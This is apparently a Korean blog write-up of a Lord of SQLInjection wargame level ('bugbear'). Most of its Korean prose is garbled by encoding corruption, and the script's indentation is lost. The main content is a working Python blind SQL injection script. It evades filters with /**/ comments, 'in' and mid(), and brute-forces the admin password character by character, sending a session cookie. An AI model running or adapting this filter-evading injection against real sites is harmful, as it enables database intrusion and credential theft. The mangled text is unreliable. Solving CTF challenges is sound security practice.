[๋ฌธ์ 13]
์ด๋ฒ๋ฌธ์ ๋ ๋ง๊ณ ์๋๊ฒ ์ ๋ง ๋ง์ต๋๋ค......like๋ ๋ง์๋จ๋ค์...or..and....๋ค noํ๋ผ๋ฏธํฐ์ ๋ค์ด๊ฐ๋ฉด HeHe ๊ฐ ๋น๋๋ค.
์ ๋ฒ ๋ฌธ์ ์ ํฌ๊ฒ ๋ค๋ฅผ๊ฑด ์๋ค์.
๋ค๋ง ๋ง๋๊ฒ ๋์ด๋ฌ์๋ฟ... (์ด๋ ๊ฒ ์ ๋ถ ๋ง์ ์๋ ์๊ตฌ๋..ํํํํณ)
์ ๋ฒ๋ฌธ์ ์ ๋ฌ๋ฆฌ ๋์ด๋ ์ ์
1. like ๋ง์
2. ๊ณต๋ฐฑ ๋ง์ ์ธ๋ฐ์.
๊ณต๋ฐฑ์ ์ผ๋จ /%%/ ๋ก ๋ง์ ์ ์์ด์! <๋ฌธ์ 5๋ฒ ๊ณต๋ฐฑ ์ฐํ ์ฐธ๊ณ >
like๋ instr๋ก ๋ง์ ์ ์๋ค๊ณ ํ๋ค์.
inํจ์๋๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก๋ ์ฌ์ฉ์ด ๊ฐ๋ฅํ๋ฐ์.
์๋ฅผ๋ค์ด id = 1 ์ in ํจ์๋ก ์จ๋ณด์๋ฉด id in(1) ์ด๋ ๊ฒ ์จ์ฃผ๋ฉด ๋ฉ๋๋ค.
์ด์ฐ๋์๋ ์ด๋ฒ๋ฌธ์ ๋ blind์ด๊ธฐ ๋๋ฌธ์ ํด์ ์ฌ์ฉํด๋ณผ๊ฒ์.
์ ๋ฌธ์ ์ ๋ง์ฐฌ๊ฐ์ง๋ก ํด์ ์ฌ์ฉํ ๊ฑฐ๊ณ , ํด์ ๋ด์ฉ๋ง ์ด์ง ๋ฐ๊ฟ ์ค๋๋ค.
์จ๋ณด๋, los๋ฌธ์ ๊ฐ ๊ฐ๋ 0์ด ๋ค์ด๊ฐ๋ฉด hello admin์ด ์ถ๋ ฅ๋๋ ๊ฒฝ์ฐ๊ฐ ์๋ค์..
๊ทธ๋์ ํ์ด์ฌ์ด 0์ ๋ฝ์๋ผ ๋๋ ์์ผ๋, ์ฃผ์ ํ์
์ ์ํ๋ฒณ ๋จผ์ ๋๊ณ ๋ค์ ์ซ์๋ฅผ ๋์ผ์๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค.
import requests
from bs4 import BeautifulSoup
query1 = "1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/(mid(pw,%d,1))/**/in(%s)#"
dbname = []
password = []
word = ['\"a\"', '\"b\"', '\"c\"', '\"d\"', '\"e\"', '\"f\"', '\"g\"',
'\"h\"', '\"i\"', '\"j\"', '\"k\"', '\"l\"', '\"m\"', '\"n\"', '\"o\"', '\"p\"', '\"q\"', '\"r\"', '\"s\"',
'\"t\"', '\"u\"', '\"v\"', '\"w\"', '\"x\"', '\"y\"', '\"z\"', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ํ ์ฝ๋ : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("######################data ๋ถ์ ์ค")
num = 1
while num <= 8:
for src in word:
dbname = [query1 % (num, src)]
cookies = {'PHPSESSID': '27g5thpe9ib9v6o1vq12kvhpv6'}
params = {'id': "admin", 'pw': "0/**/&&", 'no': dbname}
res = requests.get('https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello admin" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code: #์ฝ๋์์ ์ฐธ์ผ ์ ๋์ค๋ ๊ฐ์ด ๋ค์ด๊ฐ ์๋ค๋ฉด
print("Data : ", src)
password += src
print(dbname)
break
num = num+1
print("###########################์๋ฃ")
print('pwd : ', '_'.join(password))
๊ฒฐ๊ณผ๋
๊ฐ์ ๋ฃ์ด์ฃผ๋ฉด ๋ฌธ์ ๊ฐ ํ๋ฆฝ๋๋ค.
CLEAR ๊ฐ์๋ก ์ด๋ ค์์ง๋ค์.^_^